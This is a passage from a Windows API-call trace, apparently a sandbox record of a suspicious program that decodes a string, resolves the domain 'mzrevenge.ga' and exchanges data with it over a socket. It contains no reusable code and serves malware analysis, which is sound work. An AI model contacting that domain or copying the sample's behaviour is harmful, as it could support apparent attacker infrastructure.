dwCmpFlags=0x1, lpString1="C", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="O", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="G", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.023] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="x", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="d", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="O", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="I", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="O", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="x", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="k", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.024] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="O", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="R", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="x", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="k", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Z", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="w", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.025] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="O", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0120.025] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1dc) returned 0x2d48998 [0120.025] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x180) returned 0x2d24e80 [0120.025] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d25410 [0120.025] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a358 [0120.025] GetCurrentThreadId () returned 0x9fc [0120.025] GetCurrentThreadId () returned 0x9fc [0120.025] GetCurrentThreadId () returned 0x9fc [0120.026] GetCurrentThreadId () returned 0x9fc [0120.026] GetCurrentThreadId () returned 0x9fc [0120.026] GetCurrentThreadId () returned 0x9fc [0120.026] GetCurrentThreadId () returned 0x9fc [0120.026] GetCurrentThreadId () returned 0x9fc [0120.026] GetCurrentThreadId () returned 0x9fc [0120.026] GetCurrentThreadId () returned 0x9fc [0120.026] GetCurrentThreadId () returned 0x9fc [0120.026] GetCurrentThreadId () returned 0x9fc [0120.026] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x42c) returned 0x2d50ac0 [0120.026] GetCurrentThreadId () returned 0x9fc [0120.026] GetCurrentThreadId () returned 0x9fc [0120.026] GetCurrentThreadId () returned 0x9fc [0120.026] GetCurrentThreadId () returned 0x9fc [0120.026] GetCurrentThreadId () returned 0x9fc [0120.026] GetCurrentThreadId () returned 0x9fc [0120.026] GetCurrentThreadId () returned 0x9fc [0120.026] GetCurrentThreadId () returned 0x9fc [0120.026] GetCurrentThreadId () returned 0x9fc [0120.026] GetCurrentThreadId () returned 0x9fc [0120.026] GetCurrentThreadId () returned 0x9fc [0120.026] GetCurrentThreadId () returned 0x9fc [0120.026] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360c8 [0120.026] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d355a8 [0120.027] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d365f0 [0120.027] GetCurrentThreadId () returned 0x9fc [0120.027] GetCurrentThreadId () returned 0x9fc [0120.027] GetCurrentThreadId () returned 0x9fc [0120.027] GetCurrentThreadId () returned 0x9fc [0120.027] GetCurrentThreadId () returned 0x9fc [0120.027] GetCurrentThreadId () returned 0x9fc [0120.027] GetCurrentThreadId () returned 0x9fc [0120.027] GetCurrentThreadId () returned 0x9fc [0120.027] GetCurrentThreadId () returned 0x9fc [0120.027] GetCurrentThreadId () returned 0x9fc [0120.027] GetCurrentThreadId () returned 0x9fc [0120.027] GetCurrentThreadId () returned 0x9fc [0120.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mzrevenge.ga", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0120.027] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mzrevenge.ga", cchWideChar=12, lpMultiByteStr=0x7f516c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mzrevenge.ga", lpUsedDefaultChar=0x0) returned 12 [0120.027] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xd) returned 0x2d34f78 [0120.027] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa94 | out: lpSystemTimeAsFileTime=0x18fa94*(dwLowDateTime=0x9872fd00, dwHighDateTime=0x1d60051)) [0120.027] GetCurrentThreadId () returned 0x9fc [0120.027] GetCurrentThreadId () returned 0x9fc [0120.027] GetCurrentThreadId () returned 0x9fc [0120.027] GetCurrentThreadId () returned 0x9fc [0120.027] GetCurrentThreadId () returned 0x9fc [0120.027] GetCurrentThreadId () returned 0x9fc [0120.027] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d48b80 [0120.027] GetCurrentThreadId () returned 0x9fc [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48b80 | out: hHeap=0x2a0000) returned 1 [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] GetCurrentThreadId () returned 0x9fc [0120.028] SetLastError (dwErrCode=0x0) [0120.029] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d350b0 [0120.029] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x5558) returned 0x2d3b470 [0120.029] GetCurrentThreadId () returned 0x9fc [0120.029] GetCurrentThreadId () returned 0x9fc [0120.029] GetCurrentThreadId () returned 0x9fc [0120.029] GetCurrentThreadId () returned 0x9fc [0120.029] GetCurrentThreadId () returned 0x9fc [0120.029] GetCurrentThreadId () returned 0x9fc [0120.029] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x4548) returned 0x2d518f8 [0120.030] GetCurrentThreadId () returned 0x9fc [0120.030] GetCurrentThreadId () returned 0x9fc [0120.030] GetCurrentThreadId () returned 0x9fc [0120.030] GetCurrentThreadId () returned 0x9fc [0120.030] GetCurrentThreadId () returned 0x9fc [0120.030] GetCurrentThreadId () returned 0x9fc [0120.030] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x44b0) returned 0x2d409d0 [0120.030] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d36638 [0120.030] GetCurrentThreadId () returned 0x9fc [0120.030] GetCurrentThreadId () returned 0x9fc [0120.030] GetCurrentThreadId () returned 0x9fc [0120.030] GetCurrentThreadId () returned 0x9fc [0120.030] GetCurrentThreadId () returned 0x9fc [0120.030] GetCurrentThreadId () returned 0x9fc [0120.030] GetCurrentThreadId () returned 0x9fc [0120.030] GetCurrentThreadId () returned 0x9fc [0120.030] GetCurrentThreadId () returned 0x9fc [0120.030] GetCurrentThreadId () returned 0x9fc [0120.030] GetCurrentThreadId () returned 0x9fc [0120.031] GetCurrentThreadId () returned 0x9fc [0120.031] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35698 [0120.031] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xf4) returned 0x2a0e90 [0120.031] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa2c | out: lpSystemTimeAsFileTime=0x18fa2c*(dwLowDateTime=0x9872fd00, dwHighDateTime=0x1d60051)) [0120.031] GetCurrentThreadId () returned 0x9fc [0120.031] GetCurrentThreadId () returned 0x9fc [0120.031] GetCurrentThreadId () returned 0x9fc [0120.031] GetCurrentThreadId () returned 0x9fc [0120.031] GetCurrentThreadId () returned 0x9fc [0120.031] GetCurrentThreadId () returned 0x9fc [0120.031] GetCurrentThreadId () returned 0x9fc [0120.031] GetCurrentThreadId () returned 0x9fc [0120.031] GetCurrentThreadId () returned 0x9fc [0120.031] GetCurrentThreadId () returned 0x9fc [0120.031] GetCurrentThreadId () returned 0x9fc [0120.031] GetCurrentThreadId () returned 0x9fc [0120.031] GetCurrentThreadId () returned 0x9fc [0120.031] GetCurrentThreadId () returned 0x9fc [0120.031] GetCurrentThreadId () returned 0x9fc [0120.031] GetCurrentThreadId () returned 0x9fc [0120.031] GetCurrentThreadId () returned 0x9fc [0120.031] GetCurrentThreadId () returned 0x9fc [0120.031] GetCurrentThreadId () returned 0x9fc [0120.031] GetCurrentThreadId () returned 0x9fc [0120.031] GetCurrentThreadId () returned 0x9fc [0120.031] GetCurrentThreadId () returned 0x9fc [0120.032] GetCurrentThreadId () returned 0x9fc [0120.032] GetCurrentThreadId () returned 0x9fc [0120.032] GetCurrentThreadId () returned 0x9fc [0120.032] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d48b80 [0120.032] GetCurrentThreadId () returned 0x9fc [0120.032] GetCurrentThreadId () returned 0x9fc [0120.032] GetCurrentThreadId () returned 0x9fc [0120.032] GetCurrentThreadId () returned 0x9fc [0120.032] GetCurrentThreadId () returned 0x9fc [0120.032] GetCurrentThreadId () returned 0x9fc [0120.032] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48b80 | out: hHeap=0x2a0000) returned 1 [0120.032] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1b0) returned 0x2d50ef8 [0120.032] WSASetLastError (iError=0) [0120.032] send (s=0x280, buf=0x2d3b470*, len=328, flags=0) returned 328 [0120.033] WSASetLastError (iError=0) [0120.033] recv (in: s=0x280, buf=0x2d518f8, len=7, flags=0 | out: buf=0x2d518f8*) returned 7 [0120.064] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d365a8 [0120.064] GetCurrentThreadId () returned 0x9fc [0120.064] GetCurrentThreadId () returned 0x9fc [0120.064] GetCurrentThreadId () returned 0x9fc [0120.064] GetCurrentThreadId () returned 0x9fc [0120.064] GetCurrentThreadId () returned 0x9fc [0120.064] GetCurrentThreadId () returned 0x9fc [0120.064] GetCurrentThreadId () returned 0x9fc [0120.064] GetCurrentThreadId () returned 0x9fc [0120.064] GetCurrentThreadId () returned 0x9fc [0120.064] GetCurrentThreadId () returned 0x9fc [0120.064] GetCurrentThreadId () returned 0x9fc [0120.064] GetCurrentThreadId () returned 0x9fc [0120.064] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2d4a268 [0120.064] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1000) returned 0x2d44e88 [0120.064] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1000) returned 0x2d571e8 [0120.065] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fa44 | out: lpSystemTimeAsFileTime=0x18fa44*(dwLowDateTime=0x9877bfc0, dwHighDateTime=0x1d60051)) [0120.065] GetCurrentThreadId () returned 0x9fc [0120.065] GetCurrentThreadId () returned 0x9fc [0120.065] GetCurrentThreadId () returned 0x9fc [0120.065] GetCurrentThreadId () returned 0x9fc [0120.065] GetCurrentThreadId () returned 0x9fc [0120.065] GetCurrentThreadId () returned 0x9fc [0120.065] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x64) returned 0x2d48b80 [0120.065] GetCurrentThreadId () returned 0x9fc [0120.065] GetCurrentThreadId () returned 0x9fc [0120.065] GetCurrentThreadId () returned 0x9fc [0120.066] GetCurrentThreadId () returned 0x9fc [0120.066] GetCurrentThreadId () returned 0x9fc [0120.066] GetCurrentThreadId () returned 0x9fc [0120.066] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d48b80 | out: hHeap=0x2a0000) returned 1 [0120.066] GetCurrentThreadId () returned 0x9fc [0120.066] GetCurrentThreadId () returned 0x9fc [0120.066] GetCurrentThreadId () returned 0x9fc [0120.066] GetCurrentThreadId () returned 0x9fc [0120.066] WSASetLastError (iError=0) [0120.066] recv (in: s=0x280, buf=0x2d51902, len=63, flags=0 | out: buf=0x2d51902*) returned 63 [0120.066] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4abc8 [0120.066] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xd) returned 0x2d351b8 [0120.066] SetLastError (dwErrCode=0x0) [0120.066] WSASetLastError (iError=0) [0120.066] recv (in: s=0x280, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0120.066] SetLastError (dwErrCode=0x0) [0120.067] WSASetLastError (iError=0) [0120.067] recv (in: s=0x280, buf=0x2d51900, len=4535, flags=0 | out: buf=0x2d51900*) returned 4535 [0120.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x19a8) returned 0x2d5efe8 [0120.067] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d50ef8 | out: hHeap=0x2a0000) returned 1 [0120.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36028 [0120.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35560 [0120.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x68) returned 0x2d48b80 [0120.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x34) returned 0x2d56280 [0120.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d359f8 [0120.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ac18 [0120.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360a8 [0120.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36068 [0120.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35080 [0120.067] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35a88 [0120.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4acb8 [0120.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e10 [0120.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35500 [0120.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36328 [0120.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d363e8 [0120.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d359e0 [0120.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35200 [0120.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d351d0 [0120.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ab18 [0120.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f18 [0120.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ac58 [0120.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35290 [0120.068] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35158, Size=0x20) returned 0x2d4a8a8 [0120.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36008 [0120.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35158 [0120.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35bc0 [0120.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35278 [0120.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36428 [0120.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac68 [0120.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x25) returned 0x2d51200 [0120.068] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35a88 | out: hHeap=0x2a0000) returned 1 [0120.068] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35080 | out: hHeap=0x2a0000) returned 1 [0120.068] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36068 | out: hHeap=0x2a0000) returned 1 [0120.068] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d360a8 | out: hHeap=0x2a0000) returned 1 [0120.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360a8 [0120.068] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36068 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35080 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35a88 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x9c) returned 0x2d4a0a0 [0120.069] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35080, Size=0x20) returned 0x2d4a240 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d361c8 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35080 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35c88 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34fa8 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35470 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35998 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36448 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4abb8 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab48 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d361a8 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d351a0 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f90 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34df8 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36088 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac08 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4abe8 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36248 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35248 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d358c0 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35218 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35f88 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab68 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ab78 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36288 [0120.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35140 [0120.069] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35080, Size=0x20) returned 0x2d4a920 [0120.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35080 [0120.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35188 [0120.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d362a8 [0120.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4acf8 [0120.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xd) returned 0x2d35008 [0120.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e88 [0120.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) 